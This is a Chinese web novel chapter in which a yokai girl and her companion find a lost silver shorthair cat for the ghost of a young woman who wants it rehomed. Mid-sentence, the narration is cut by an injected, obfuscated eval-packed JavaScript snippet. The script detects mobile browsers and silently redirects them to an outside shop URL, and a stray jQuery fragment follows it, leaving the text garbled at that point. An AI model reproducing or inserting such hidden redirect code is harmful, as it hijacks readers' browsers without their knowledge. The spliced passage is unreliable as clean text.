十月的尾声,符叶收到妖生第一笔委托。
那是某个略微寒凉的夜晚,她睡眼朦胧时睁开眼睛,瞬间僵硬在被子里——有张浮肿的脸正与她鼻尖对鼻尖。
距离太近了,近到她能清晰瞧见对方脸颊上灰突突的小痣,那陌生的脸庞眼泡肿得像小馒头,正努力瞪眼瞧她。
咸咸的血腥味浓郁异常,萦绕鼻尖久久不散。
咚的一声,符叶卷着被子摔下床。
细究起来,她的胆量算不得大。久居山中,受限于见识,她无法对任何事的发生都波澜不惊,只是她善于克制反应,才使得内心的恐惧沸腾,表面却仍有心如止水般的平淡。
响动使枯黄浑浊的眼珠一颤,女鬼以怪异却异常敏捷的姿势原地一趴,手脚并用钻进床底,随后爬出半个身体追逐符叶。
爬行时长发遮面,她缓缓抬脸,想露出眼睛只得使劲将下巴前伸,以仰面的姿态定定瞧。
黑暗中,她们沉默对峙。
直到惊醒的喻观寒匆匆拉开布帘,符叶才意识到自己忘了喘气,连忙补偿般换起气来。
“怎么坐在地上?”
“有鬼。”
符叶攥紧被子边缘,指尖泛白,清亮的眼睛只顾盯着女鬼瞧。喻观寒是看不见她的,连他们的膝盖重合一部分都察觉不到。
但他似乎从符叶视线的落点判断出位置,于是径直坐在符叶身边,虚虚拦着,做一道虽没用但能充当心理安慰的防线。
符叶与女鬼曾有过一面之缘,那时女鬼正坐在空调外机上看风景,无意间与她对视过,但没想到对方会追到房间里。
她喘匀气,幽幽发问:“你是楼上的吧,找我有什么事?”
“唔唔……”对方立即提起僵硬的嘴角,随后用手捶喉咙,那力度似乎是埋怨它不争气。瞧符叶皱眉,她赶紧再提嘴角,青白面色配上森白牙齿,满脸讨好的意味也染上灰蒙蒙的恐怖氛围。
总觉得开口就会向符叶讨命。
“你不必着急,慢慢说。”
时针缓慢前推,从女鬼断断续续的艰难叙述中,符叶拼凑出她的来意,颇有些纳闷地问喻观寒:“什么是银渐层。”
“猫,银渐层是英短的一种毛色。”
女鬼闻言点头:“它叫雪球,胆子小的猫。”
约莫是太久没说过话,她的表述能力退化,声带更是像上锈的传送带,发动便要响起咯吱咯吱的抗议,直到话说得多,才流畅顺滑些。
符叶注意到,她的裤管空荡荡,脚腕消失,显然在消散的边缘。
“我突然犯病,摔倒磕在茶几上,虽然打了急救电话,但没撑到医院,就……从那天开始,我就被困在家里。”
“家里人来,收拾我的东西,要卖房子,把雪球也带走了,我好担心。”女鬼垂头丧气,平日里楼道都不敢出的笨猫,被抓起装进袋子拎着,连叫都不敢叫,让她心碎。
“恕我直言,你已经去世无法再喂养猫,家里人带走,岂不是好安排?”
女鬼流出两行血泪:“可他们不喜欢雪球,不会对它好。”
近日来,她总是心神不宁,直觉是雪球过得不好,所以才跑来央求符叶,希望她能代替自己回家看看猫。
她叫何蕾,去世时只有26岁,老家就在临江附近的小县城,名字叫凌水原。符叶轻轻摩挲指节,妖管局替她办理的证件及银行卡、手机卡已经下发,出行倒是不成问题,只是该考虑她兜里的157块“巨款”能否抵得上双程路费。
既是有所求,自然要摆足诚意,何蕾连忙保证:“你放心,我不让你白跑一趟,其实我家里还有根20克的金条,可以给你。只希望你能送佛送到西,如果雪球过得不好,你将它带回来……我想把它托付给我的朋友。”
符叶很难不注意关键词:“你说的金条是……”
随着何蕾解释,符叶的呼吸微烫,某种情绪鬼鬼祟祟,却又欢喜雀跃地在她心间回荡,荡到树枝的另一端,跳跃着欢呼:“是钱!”
迎着喻观寒好奇的目光,符叶语速极快,生怕何蕾反悔。
“成交。”
*
香醇豆浆加两勺白砂糖,甜味丝丝缕缕。
符叶舀舀热豆浆,波纹荡漾,手机里传来温浊玉的殷切嘱咐:“什么软件都可以下载,但你千万不要下载拼东东!”
“为什么?”
“等你搬到我家来,再下载,到时候你是新用户,可以帮我砍一刀。”
温浊玉又说起正经事:“你想去凌水原,先坐公交到火车站,临江到凌水原只有绿皮火车,但车票很便宜,六块,下车后呢……”
符叶搅豆浆的速度放缓,认真记。
“……她家住的是老式筒子楼,门牌号不好找,你需要问一下。”
还没等符叶应答,餐桌对面就伸过来一只白皙的手,握住她的手机:“我送她去。”
“那你不早说。”温浊玉利落将电话挂断。
手机清脆的提示音里,喻观寒轻抬下巴示意她快喝:“喝完咱们出发,开车去凌水原得三四个小时。”
符叶机械将铁勺往唇边凑,近期她才懂得,加油站显示屏上飞涨的数字是金额,飞驰的汽车燃烧的都是金钱。
她忍不住联想这么久的路程需要耗费多少油。
由喻观寒负担油费她过意不去,但油费太高昂的话……又没必要,六块钱能解决岂不更好。
他们共同坐在餐桌上,思考方式却是被各自钱包的厚度所局限。薄即狭窄,只顾考虑损耗,厚则宽松,更关注能否敞开手脚。
“不用想给我钱的事。”喻观寒了然抱起胳膊,“咱们生疏到这种程度吗?上次你可答应我,就算搬走,偶尔也能回家吃饭。”
凌水原是小县城,跟临江的繁华程度没得比。
电动车拥簇,等待路中央摆放的简易红绿灯变色,渣土车轰隆隆飞驰而过,洒下一片灰尘和碎石,呛得用脚支撑电动车的路人纷纷捂嘴。
待勉强能睁眼,才眨着刺痛的眼睛拧电动车,顺便扬声骂:“开这么快急着投胎去呀!”
老式筒子楼挤挤挨挨,整层住户都依靠位于边缘的水泥台阶上下楼,符叶小心避开走廊的杂物柜和自行车,在涂着绿漆的铁门前站定,瞧喻观寒犹疑伸手敲门。
很快,就有窸窸窣窣的脚步声传来,随着门开,浊气四溢。
“请问这是何蕾家吗?”
满头泡面小卷的女人面颊肿胀,手搭着门把,将喻观寒和符叶从头看到脚,才蹭蹭鼻子含糊问:“找谁?”
“我们是何蕾的朋友,想来看望一下。”
“你们有心,但俺家闺女都下葬完,也算安生,家里没啥好看望的。”听到屋里有人用方言吆喝,何蕾妈妈抻脖呼号着回应,符叶听不懂,只隐约辨认出“蕾蕾”的音。
铁门顿时有收紧的架势。
喻观寒眼疾手快抵住门,从兜里掏出白色信封,笑得春风和煦:“这是我们的一点心意。”
何蕾妈妈眼睛黏在信封上,脚尖犹犹豫豫,终是神情染着尴尬请他们进屋。何家的陈设简单,铺着猪肝色的老式地板革,皮面斑驳早已不再光亮,不管是沙发还是抱枕,都套着针织的外罩。
趁符叶和喻观寒放水果,何蕾妈妈用手拢着茶几边缘的果核投进已经塞满的垃圾桶,随后搓搓发黏的手心,不言不语,尴尬又局促。
屋里吆喝的人此时才现身。
浆洗发黄的白背心松松垮垮,随着他走路晃荡:“你们是蕾蕾同事?”
“因为工作认识的,算是同事吧。”喻观寒眼含笑意望符叶一眼,“主要是她,跟何蕾的关系不错,听说何蕾出意外,就总是放心不下,想来看看。”
符叶开门见山:“听说何蕾的猫在这里,能看看吗?”
提起猫,何蕾父母对视,爸爸呲起牙,说何蕾亲姐姐家的孩子,实在喜欢猫,干脆抱回家养了。
符叶追问:“她姐姐住在什么地方?”
“……你们知道地址还能去看哪?远着呢。”
喻观寒叹气:“何蕾总是给她托梦,说担心猫,千叮咛万嘱咐要我们替她来瞧瞧。”
闻言,何蕾妈妈指节微弯的手掩面,脊背也跟着弯下去,疲惫至极。
“这样,我当着你们的面儿,给我闺女打电话。”何蕾爸爸摸出手机,在及膝短裤的边缘蹭蹭油腻屏幕,嘀嘀咕咕,“猫在亲姐姐家,有啥不放心……姑娘,再给你托梦,你就告诉她放心去。”
给大女儿打电话就是扯谎,何蕾爸爸本想装模作样应付了事,让他们赶紧走,谁知两个年轻人还真眼巴巴望着他,骑虎难下,电话拨过去仅一息,他就着急挂断。
“没人接。”随后他高亢起调,打算赶客。
就在这时,铁门被推开,来人肖似何蕾父母,手里吊儿郎当甩着布袋子,脚底还踩着半边鞋帮。
“爸!妈!那破猫终于卖出去啦!”
*
雪球是只做过绝育的成年母猫。
对宠物店来说,既不如幼崽价值高,品相又不适合繁育,只能将它养在玻璃展柜里,好歹充斥门面,至于合适的买主,随缘。
店主唉声叹气,打扫到雪球住的那格玻璃柜,都要点点它的额头,叮嘱它有客人来就积极点撒娇。
“再卖不出去,你就只能去流浪了。”
昨日阳光充沛照得人周身暖洋洋,艳阳天也成为开张的好兆头。
难得有人询价雪球,店主喜笑颜开,直言这是认识的人寄存在这里代卖的猫,开价不高,能覆盖这段时间的猫粮即可。
买猫的夫妻也不是陌生人,就是隔壁街角鑫旺超市的老板,打算买只猫回去镇压猖獗的老鼠。
等符叶和喻观寒赶到鑫旺超市,老板听闻他们的意图,直接将带着血痕的手背给他们瞧,夸张说道:“我的五百块钱打水漂啦,老鼠没抓到,反倒是把我挠了。”
符叶手掌抵住柜台边缘,上半身前倾,略带急迫。
“猫现在在哪儿?”
“那我不知道,它挠完我就跑了。”店主给买零食的客人找钱,手指犹疑着指向右边,“这边吧,我就说不买宠物猫……”
店主的埋怨被抛在身后,符叶望着人来人往的街道,生出许多失落来。
喻观寒手欠去弹她棒球帽的帽檐,等符叶仰脸瞧他,才心情极好地开口:“还找吗?”
“当然。”
“那咱们找个帮手。”
帮手叫林禅,是对外联络科的职员,发色很杂,黑灰掺色,似乎对找猫这种事儿习以为常。
喻观寒隔着电话讲请求,他扭脸不知道瞧什么,只露出穿着四五只耳环的侧脸,提出要做几点准备。
“第一,手里有带着雪球味道的东西,玩具最好,能沾着雪球的口水。”
背景音突然杂乱,乒乓乱响,喻观寒为难表示自己手边没有物品。隔半分钟,林禅气喘吁吁的脸才重新看向屏幕:“……那照片也行,但是吧,照片没有味道的效果好。”
“银渐层、蓝猫这种类型的猫,在人类的眼里都长得差不多,猫也容易脸盲。”
“第二,猫条要多准备一些,最好买鸡肉味,受众广。”
林禅交代他们,找狸花猫喂猫条是效率最高的。最重要的是,他们要有明确的交易地点,不要离走失的地方太远,也不要人流太多,想好就告诉他,随后急匆匆挂断电话。
喻观寒抬头恰好瞧见面露茫然的符叶,不知道被什么逗笑,轻轻舔嘴唇,随后才克制攥拳,没有去捏她的脸。
“你在想什么?”
符叶缓缓开口:“我想,装过雪球的布袋子算不算染着它的味道?”
他们在何蕾家人不解的目光中拎着布袋告辞,这深蓝布袋上还印着本地银行的广告,符叶翻面,将味道浓郁些的布面朝外,折叠成巴掌大小攥在手里。
最初,他们定的接头地点是鑫旺超市旁的小胡同。
[林禅:......]
[林禅:你觉得猫能理解哪里叫鑫旺超市旁边的小胡同吗,你们周围还有什么?]
[林禅:有垃圾桶或者喷泉吗?]
[喻观寒:有垃圾桶,三个并排的。]
[林禅:收到。]
几秒后,喻观寒接收到林禅发来的语音消息,长达11秒。
“喵喵。”
“喵—喵喵。”
“喵喵喵——喵喵。”
他们绕了几条街,好不容易见到的流浪猫怕生得很,见到人影就飞快逃窜,根本来不及追。
但林禅提供的语音有奇效,喻观寒将手机凑近草丛,几秒后,灰头土脸的奶牛猫就小心翼翼踩着杂草探头,双耳飞起,又怂又想靠近。
符叶按照林禅的指示,慢吞吞蹲下身,将猫条撕开。
在喻观寒重复播放的喵喵喵语音里,奶牛猫嗲嗲回应一声,就甩甩脑袋,呼噜噜舔起猫条,惬意嚼完最后一口,才凑近布袋闻闻,转身就跑。
也有的猫不讲武德,大摇大摆地来,吃完猫条扬长离去,理都不理符叶抬起的手。
符叶呆住:“喂!”
一出声,竖尾巴逃跑的贼猫四只脚倒腾得飞起,扬起灰尘,腾云驾雾。
直到猫条变少,他们才回到车附近休整,等待反馈。
喻观寒将纸箱拆开铺平,与符叶并排坐在台阶上,拄脸瞧小路对面的三色垃圾桶。
“饿不饿?”
“还好。”符叶摘掉帽子,揉散头发,只觉得发顶清凉不少,“所以你这叫林禅的同事,是只猫妖?”
喻观寒努努嘴,没说是与不是,只是将拧开的矿泉水瓶递给她:“妖管局不许谈论同事的原形。”
“为什么?”
“据说人类的职场不允许透露工资,因为知道工资的参差容易影响工作心态。”
他自然接过符叶的水瓶,怕她等会还喝,不敢用嘴接触瓶口,干脆隔着点距离往嘴里灌,用手背抹溢出来的水痕。
“妖管局也一样,害怕影响心态,你也不想知道相处友好的同事其实也可以出现在你的餐盘里吧?”
这倒是实在话,符叶表情未变,又见喻观寒耸耸肩,续上关于原形的话题:“虽说不能谈论,但时间一长,大家的原形根本不是秘密,彼此心知肚明。”
柔和的午后阳光将余温留存于皮肤,只剩惬意,喻观寒望着天边,恍惚间出神,忘记今夕何夕,只是沉溺与符叶并肩的时刻。
符叶清亮的眼睛望着他:“跟我说说妖管局吧。”
一时之间,喻观寒的心情还没转变过来,启唇吸吸气才恢复清明。
妖管局主建筑为漆成粉色的四层办公楼,地上四层,地下一层,为了方便符叶记忆,他按照楼层的顺序,由下往上依次介绍。
“首先是地下一层,后勤部,五个人。”
后勤部负责妖管局的采买、仓储、日常维护等工作。熊三、熊四、娇妹都隶属于后勤部,由兄弟俩倒白晚班当保安,守卫妖管局大门,战斗力都不容小觑。
“他们还有两个哥哥吗?”
喻观寒顿住,诚实回答自己不清楚。
一楼,除保安室,仅有妖事科,由徐容容独自挑大梁。平日里办事的妖怪们是不需要进入妖事科内部的,因为妖事科修建对外的窗口,极大保障了徐容容的妖身安全。
“然后是二楼的部门,事故处理科与对外联络科。”
对外联络科顾名思义,负责与人类部门对接,处理涉及人类的案件,偶尔也会协同人类出任务,忙碌起来连喝水都顾不上。
三楼,符叶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13917704|143682||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
并不陌生,是曾给她开具罚单的孔陶所掌管的财务科。
语气温柔、珠圆玉润的漂亮妖怪掌握财政大权,妖管局上下,无论是谁面对孔陶都要礼貌三分。
财务科的旁边即是综合办公室,除养病的石威,剩余三人符叶都已熟识。综合办公室为机动部门,没有固定的工作内容,用俗话说,哪里需要哪里搬。
谁忙不过来,只需要给计宋打电话,就能搬来四块板砖。
符叶疑惑:“计宋很能打,这样的妖怪为什么不来事故处理科呢?”
“这都是海藻的决定,你也知道,计宋原是一把桃木剑,道士去世以后,他就背着本体游游走走,直到遇见海藻,被邀请加入妖管局。”喻观寒神神秘秘,“世界上,没有海藻不知道的事情。”
妖管局局长海藻,配备一名助理,在四楼办公。
四楼对于大家来说都是神秘地带,因为海藻鲜少露面,她的助理更是神龙不见首尾。据传,助理是比熊三熊四还要膀大腰粗的保镖型助理。
想跟海藻联系,依靠网络是最有效率的沟通方式。
即使你有急事爬上四楼,也只会瞧见大门紧闭的局长办公室,以及它身旁无人响应的局长助理办公室。
另外,妖管局是有厕所的。
办公室都配备独立的厕所供职员使用,没有修建对外开放的厕所原因有很多,譬如无法准确地从妖怪的外表判断性别,容易滋生摩擦,海藻纠结半天,干脆拍板,不建厕所。
这样看,妖管局的工作人员数量并不多。
正想着,符叶就瞧见两个追逐的毛团,她连忙站起,分辨是不是雪球。
两只猫刨出烟尘,前面的银渐层边跑边嚎,但显然敌不过身后快成闪电的玳瑁。它很快就被黑色旋风骑脸输出,徒劳勾着爪子欲挠不挠,露出肚皮示弱。
符叶小心翼翼将委屈哀嚎的银渐层托起,将它身上沾着的碎草叶和细枝抖掉,与墨绿色瞳仁对视几秒,就伸直胳膊离远些,偏头瞧喻观寒。
“不像……”
银渐层的尾巴甩来甩去。
喻观寒将从何蕾主页保存的雪球照片翻出来,比对着瞧,很明显不是同一只,脑门的斑纹形状不同,瞳仁的颜色也不同。
“凶残追逐者”玳瑁已经黏在符叶脚边蹭来蹭去,瞧他们无动于衷,迟迟不掏说好的大量美味奖励,忍不住喵喵声讨起来。
喻观寒哭笑不得:“但它不是雪球啊,雪球是只母猫,你找的这只是公的。”
玳瑁听不懂,尖利的爪子挠挠泥土,整个脊背的毛都炸起,在他们面前走来走去。喵喵声越来越急促,越来越高亢,似乎是骂他们不讲信用。
喻观寒只能打电话给猫语翻译林禅,让他从中调解。
你来我往的喵喵声中,玳瑁恼羞成怒,飞起去挠符叶。喻观寒神色骤冷,手背筋络起伏,周遭的空气因温度升高隐隐扭曲。
“啪。”被十指如笋的手掌一拍,喻观寒转头,戾气掺和乖顺,眼神瞬间清澈。
“又没挠到。”
玳瑁伴随着呸呸呸的吐口水声跳上矮墙离去,电话那边的林禅无奈:“素质有待提高。”
夕阳西斜,地平线染上橘色霞光。
他们不敢离开这小胡同,晚饭都是坐在路边捧着解决的。符叶似有所感,放下餐盒,看向小胡同深处——虎头虎脑的狸花猫嘴里叼着一只摆烂状的银渐层,伴随着并不存在的鼓乐声,踏着坚定的猫步向他们走来。
*
雪球变得窄窄一条,衬得脑壳奇大。
何蕾的血泪如雨滴般砸在符叶的鞋尖,青白肿胀的脸又哭又笑,沉浸在再次见面的喜悦中。人类的情绪如此复杂,喜悦到极致,会忍不住流泪。
符叶将臂弯中四处张望的雪球向何蕾倾斜。
“你能抱到它吗?”
何蕾尝试伸手,却扑空。她摇摇头,带着笑容涕泗横流,虚虚捧着雪球的脑袋,哽咽着讲:“真是猫随主人,我怂你也怂。”
“我和喻观寒商量,就算把雪球送回你家,它还是会被卖掉,还不如带回来,送到你的朋友家去。”
何蕾的笑容苦涩几分。
她已是孤魂野鬼,灵魂的重量比路边的沙砾还轻,留不住与这世界的羁绊和联系,更找不到能托付雪球的人。
要不是实在没办法,她也不会想把雪球送到朋友那。养猫是笔不小的负担,给经济也不宽裕的朋友添麻烦,她内心愧疚。
私心说,她更希望符叶能收养雪球。
她犹疑的目光看向等待答案的符叶,又挪到喻观寒身上,他下巴埋进领口,睫毛轻扫眼睑,低垂目光,显然对此事并无兴趣。
何蕾清楚,拜托他们收养,实在强人所难。因为羞耻心,她无法说出口,只是咬牙不讲话。
“何蕾?”
符叶瞧她的神情,再度开口,表示他们有同事可以帮雪球找领养,那人参加救助小动物的公益组织,可以替雪球找到合适的领养家庭。
领养人办理手续后,会定期回访,确保被领养的小动物状态不错,也算靠谱去处。
何蕾枯萎的神情焕发活力。
她点头的瞬间,符叶确切透过她的脑袋,瞧见身后储物柜的把手。金色把手像是将何蕾的脑袋戳穿,画面诡异,符叶下意识收紧胳膊,导致怀里的雪球仰头,不满意地喵喵叫。
短暂透明后,何蕾的身影又再度凝实。
她并非毫无所觉,表情僵硬:“我可能……”
何蕾轻轻戳雪球毛茸茸的额头,感受到指尖的暖意,不舍笑起来。随后她缓缓攥拳,似是下定决心:“我可能要消失了,符叶,不过在这之前,我要将答应好的报酬给你。”
何蕾家的鞋柜放置在门边的公共区域,仅半人高,漆成与大门相辅相成的银灰。
喻观寒弯腰,沿着上壁缓慢摸索,指尖触到紧紧粘在柜面的钥匙,找到棱角处掰下来,这把备用钥匙原是预防钥匙丢失无法进家门的。
何蕾开始怀念当初如何攒下首付,咬牙买下这套房。
她是家中第二个孩子,论熟络比不上姐姐,论爱惜比不上弟弟,在父母眼里不上不下,处境尴尬。
父母并非不爱她,只是爱的容量有限。
多年来习惯将温情分享给姐姐和弟弟,轮到她自然不剩什么。所以她从小就有执念,她想拥有完全属于自己的家。
别的孩子放学去买零食,买玩具的时候,她会将零花钱珍惜抚平,小心翼翼夹在闲置的作业本封皮里,就这样顶着“吝啬鬼”的称号一路读到大学。
“后来有了雪球陪着我,我的家开始完整。”
家是屏蔽疲惫的门,温馨记忆如同绚丽开过的花,永不言凋零。
意识到自己也许再也睁不开眼睛的时候,何蕾怅然发觉自己失去拥有的一切,被血模糊的眼前,出现的是某个早早下班的午后。
她完全不知道自己为何会回想起那天。
走廊洁白瓷砖隐隐映着窗外高楼大厦的影子,高跟鞋踏在地面清脆,节奏欢快。走到门口,她还在摸索钥匙,雪球早就隔着门喵喵叫起来。
包里的口红与散粉盒撞得叮当乱响,何蕾笑骂一句“不长记性”,随后拿备用钥匙打开家门,弯腰抱起猫,亲昵蹭蹭脸。
将她牵绊于此的丝线开始消融。
何蕾的身影闪闪烁烁,她却觉得轻盈,像放飞的风筝,漫无边际游荡,畅快而自由。
“我有时候很庆幸。”何蕾瞧想握住她手掌的符叶,喃喃道,“我的家人是只笨猫,不懂别离,就不会感觉到遗憾。”
世人千万,遗憾各不相同。
符叶有些失落地抚摸雪球脑袋,随后想起什么仰头瞧,然而——直到脖颈酸胀,也没有流光坠落。
她的心沉了下去。